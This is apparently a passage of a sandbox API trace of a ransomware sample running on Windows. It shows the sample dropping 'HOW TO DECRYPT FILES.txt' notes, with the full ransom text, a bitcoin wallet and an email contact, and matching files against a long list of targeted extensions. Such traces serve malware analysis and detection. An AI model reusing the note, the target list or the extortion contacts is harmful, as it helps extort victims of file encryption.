[0135.752] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0135.752] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Client.xml") returned 1 [0135.752] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Client.xml") returned 1 [0135.752] lstrcmpiA (lpString1="", lpString2="Client.xml") returned -1 [0135.752] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\*.*") returned="*.*" [0135.752] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\" [0135.752] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\") returned="" [0135.752] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\HOW TO DECRYPT FILES.txt" [0135.752] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\subsetlist\\how to decrypt files.txt")) returned 0xffffffff [0135.752] CreateFileA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\subsetlist\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0135.754] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0135.754] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0135.756] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0135.756] CloseHandle (hObject=0x90) returned 1 [0135.757] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\", lpString2="Client.xml" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml" [0135.757] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.ems") returned 0 [0135.757] lstrlenA (lpString="*.ems") returned 5 [0135.757] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.db") returned 0 [0135.757] lstrlenA (lpString="*.db") returned 4 [0135.757] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.dbf") returned 0 [0135.757] lstrlenA (lpString="*.dbf") returned 5 [0135.757] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.myox") returned 0 [0135.757] lstrlenA (lpString="*.myox") returned 6 [0135.757] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.myo") returned 0 [0135.757] lstrlenA (lpString="*.myo") returned 5 [0135.757] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.qbw") returned 0 [0135.757] lstrlenA (lpString="*.qbw") returned 5 [0135.757] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.qbb") returned 0 [0135.757] lstrlenA (lpString="*.qbb") returned 5 [0135.757] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.qbm") returned 0 [0135.757] lstrlenA (lpString="*.qbm") returned 5 [0135.758] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.qbo") returned 0 [0135.758] lstrlenA (lpString="*.qbo") returned 5 [0135.758] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.qbx") returned 0 [0135.758] lstrlenA (lpString="*.qbx") returned 5 [0135.758] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.qba") returned 0 [0135.758] lstrlenA (lpString="*.qba") returned 5 [0135.758] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.qby") returned 0 [0135.758] lstrlenA (lpString="*.qby") returned 5 [0135.758] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.qbj") returned 0 [0135.758] lstrlenA (lpString="*.qbj") returned 5 [0135.758] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.ofx") returned 0 [0135.758] lstrlenA (lpString="*.ofx") returned 5 [0135.758] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.qif") returned 0 [0135.758] lstrlenA (lpString="*.qif") returned 5 [0135.758] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.mye") returned 0 [0135.758] lstrlenA (lpString="*.mye") returned 5 [0135.758] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.mbox") returned 0 [0135.758] lstrlenA (lpString="*.mbox") returned 6 [0135.759] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.eml") returned 0 [0135.759] lstrlenA (lpString="*.eml") returned 5 [0135.759] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.pst") returned 0 [0135.759] lstrlenA (lpString="*.pst") returned 5 [0135.759] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.ost") returned 0 [0135.759] lstrlenA (lpString="*.ost") returned 5 [0135.759] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.idx") returned 0 [0135.759] lstrlenA (lpString="*.idx") returned 5 [0135.759] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.dbx") returned 0 [0135.759] lstrlenA (lpString="*.dbx") returned 5 [0135.759] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.sql") returned 0 [0135.759] lstrlenA (lpString="*.sql") returned 5 [0135.759] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.mdb") returned 0 [0135.759] lstrlenA (lpString="*.mdb") returned 5 [0135.759] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.fdb") returned 0 [0135.759] lstrlenA (lpString="*.fdb") returned 5 [0135.759] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.wab") returned 0 [0135.759] lstrlenA (lpString="*.wab") returned 5 [0135.760] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.dat") returned 0 [0135.760] lstrlenA (lpString="*.dat") returned 5 [0135.760] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.txt") returned 0 [0135.760] lstrlenA (lpString="*.txt") returned 5 [0135.760] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.jpeg") returned 0 [0135.760] lstrlenA (lpString="*.jpeg") returned 6 [0135.760] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.jpg") returned 0 [0135.760] lstrlenA (lpString="*.jpg") returned 5 [0135.760] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.png") returned 0 [0135.760] lstrlenA (lpString="*.png") returned 5 [0135.760] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.php") returned 0 [0135.760] lstrlenA (lpString="*.php") returned 5 [0135.760] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.cs") returned 0 [0135.760] lstrlenA (lpString="*.cs") returned 4 [0135.760] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.cpp") returned 0 [0135.760] lstrlenA (lpString="*.cpp") returned 5 [0135.760] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.rar") returned 0 [0135.760] lstrlenA (lpString="*.rar") returned 5 [0135.761] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.zip") returned 0 [0135.761] lstrlenA (lpString="*.zip") returned 5 [0135.761] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.html") returned 0 [0135.761] lstrlenA (lpString="*.html") returned 6 [0135.761] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.htm") returned 0 [0135.761] lstrlenA (lpString="*.htm") returned 5 [0135.761] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.xlsx") returned 0 [0135.761] lstrlenA (lpString="*.xlsx") returned 6 [0135.761] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.xls") returned 0 [0135.761] lstrlenA (lpString="*.xls") returned 5 [0135.761] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.mp4") returned 0 [0135.761] lstrlenA (lpString="*.mp4") returned 5 [0135.761] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.ppt") returned 0 [0135.761] lstrlenA (lpString="*.ppt") returned 5 [0135.761] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.pptx") returned 0 [0135.761] lstrlenA (lpString="*.pptx") returned 6 [0135.761] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.doc") returned 0 [0135.761] lstrlenA (lpString="*.doc") returned 5 [0135.761] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.dot") returned 0 [0135.762] lstrlenA (lpString="*.dot") returned 5 [0135.762] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.docx") returned 0 [0135.762] lstrlenA (lpString="*.docx") returned 6 [0135.762] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.7z") returned 0 [0135.762] lstrlenA (lpString="*.7z") returned 4 [0135.762] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.tar") returned 0 [0135.762] lstrlenA (lpString="*.tar") returned 5 [0135.762] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.bz2") returned 0 [0135.762] lstrlenA (lpString="*.bz2") returned 5 [0135.762] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.gz") returned 0 [0135.762] lstrlenA (lpString="*.gz") returned 4 [0135.762] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.mkv") returned 0 [0135.762] lstrlenA (lpString="*.mkv") returned 5 [0135.762] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.eml") returned 0 [0135.762] lstrlenA (lpString="*.eml") returned 5 [0135.762] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.msg") returned 0 [0135.762] lstrlenA (lpString="*.msg") returned 5 [0135.762] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.edb") returned 0 [0135.762] lstrlenA (lpString="*.edb") returned 5 [0135.762] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.accdb") returned 0 [0135.763] lstrlenA (lpString="*.accdb") returned 7 [0135.763] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.odb") returned 0 [0135.763] lstrlenA (lpString="*.odb") returned 5 [0135.763] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.java") returned 0 [0135.763] lstrlenA (lpString="*.java") returned 6 [0135.763] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.asm") returned 0 [0135.763] lstrlenA (lpString="*.asm") returned 5 [0135.763] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.pfx") returned 0 [0135.763] lstrlenA (lpString="*.pfx") returned 5 [0135.763] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.pem") returned 0 [0135.763] lstrlenA (lpString="*.pem") returned 5 [0135.763] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.p12") returned 0 [0135.763] lstrlenA (lpString="*.p12") returned 5 [0135.763] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.gpg") returned 0 [0135.763] lstrlenA (lpString="*.gpg") returned 5 [0135.763] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.vsd") returned 0 [0135.763] lstrlenA (lpString="*.vsd") returned 5 [0135.763] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.odg") returned 0 [0135.763] lstrlenA (lpString="*.odg") returned 5 [0135.764] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.raw") returned 0 [0135.764] lstrlenA (lpString="*.raw") returned 5 [0135.764] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.nef") returned 0 [0135.764] lstrlenA (lpString="*.nef") returned 5 [0135.764] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.svg") returned 0 [0135.764] lstrlenA (lpString="*.svg") returned 5 [0135.764] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.psd") returned 0 [0135.764] lstrlenA (lpString="*.psd") returned 5 [0135.764] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.vmx") returned 0 [0135.764] lstrlenA (lpString="*.vmx") returned 5 [0135.764] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.vmdk") returned 0 [0135.764] lstrlenA (lpString="*.vmdk") returned 6 [0135.764] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.vdi") returned 0 [0135.764] lstrlenA (lpString="*.vdi") returned 5 [0135.764] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.lay6") returned 0 [0135.764] lstrlenA (lpString="*.lay6") returned 6 [0135.764] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.mpeg") returned 0 [0135.764] lstrlenA (lpString="*.mpeg") returned 6 [0135.764] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.djvu") returned 0 [0135.764] lstrlenA (lpString="*.djvu") returned 6 [0135.765] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.tiff") returned 0 [0135.765] lstrlenA (lpString="*.tiff") returned 6 [0135.765] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.backup") returned 0 [0135.765] lstrlenA (lpString="*.backup") returned 8 [0135.765] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.pdf") returned 0 [0135.765] lstrlenA (lpString="*.pdf") returned 5 [0135.765] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.cert") returned 0 [0135.765] lstrlenA (lpString="*.cert") returned 6 [0135.765] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.docm") returned 0 [0135.765] lstrlenA (lpString="*.docm") returned 6 [0135.765] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.xlsm") returned 0 [0135.765] lstrlenA (lpString="*.xlsm") returned 6 [0135.765] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.dwg") returned 0 [0135.765] lstrlenA (lpString="*.dwg") returned 5 [0135.765] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.nd") returned 0 [0135.765] lstrlenA (lpString="*.nd") returned 4 [0135.765] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.tlg") returned 0 [0135.765] lstrlenA (lpString="*.tlg") returned 5 [0135.766] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.lgb") returned 0 [0135.766] lstrlenA (lpString="*.lgb") returned 5 [0135.766] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.mov") returned 0 [0135.766] lstrlenA (lpString="*.mov") returned 5 [0135.766] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.xdw") returned 0 [0135.766] lstrlenA (lpString="*.xdw") returned 5 [0135.766] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.ods") returned 0 [0135.766] lstrlenA (lpString="*.ods") returned 5 [0135.766] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.wav") returned 0 [0135.766] lstrlenA (lpString="*.wav") returned 5 [0135.766] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.mp3") returned 0 [0135.766] lstrlenA (lpString="*.mp3") returned 5 [0135.766] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.aiff") returned 0 [0135.766] lstrlenA (lpString="*.aiff") returned 6 [0135.766] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.flac") returned 0 [0135.766] lstrlenA (lpString="*.flac") returned 6 [0135.766] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.m4a") returned 0 [0135.766] lstrlenA (lpString="*.m4a") returned 5 [0135.766] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\SubsetList\\Client.xml", pszSpec="*.csv") returned 0 [0135.766] lstrlenA (lpString="*.csv") returned 5 [0135.766] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5885a7a5, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x5885a7a5, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x7b04a05c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x1219, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Client.xml", cAlternateFileName="")) returned 0 [0135.767] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0135.767] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf39a9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0xbf39a9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0xab9cd29c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="sysglobl.dll", cAlternateFileName="")) returned 1 [0135.767] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.767] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="sysglobl.dll") returned -1 [0135.767] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="sysglobl.dll") returned -1 [0135.767] lstrcmpiA (lpString1="", lpString2="sysglobl.dll") returned -1 [0135.767] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\*.*") returned="*.*" [0135.767] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.767] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.767] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.767] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.767] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="sysglobl.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll" [0135.767] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.ems") returned 0 [0135.768] lstrlenA (lpString="*.ems") returned 5 [0135.768] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.db") returned 0 [0135.768] lstrlenA (lpString="*.db") returned 4 [0135.768] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.dbf") returned 0 [0135.768] lstrlenA (lpString="*.dbf") returned 5 [0135.768] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.myox") returned 0 [0135.768] lstrlenA (lpString="*.myox") returned 6 [0135.768] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.myo") returned 0 [0135.768] lstrlenA (lpString="*.myo") returned 5 [0135.768] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.qbw") returned 0 [0135.768] lstrlenA (lpString="*.qbw") returned 5 [0135.768] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.qbb") returned 0 [0135.768] lstrlenA (lpString="*.qbb") returned 5 [0135.768] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.qbm") returned 0 [0135.768] lstrlenA (lpString="*.qbm") returned 5 [0135.768] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\sysglobl.dll", pszSpec="*.qbo") returned 0 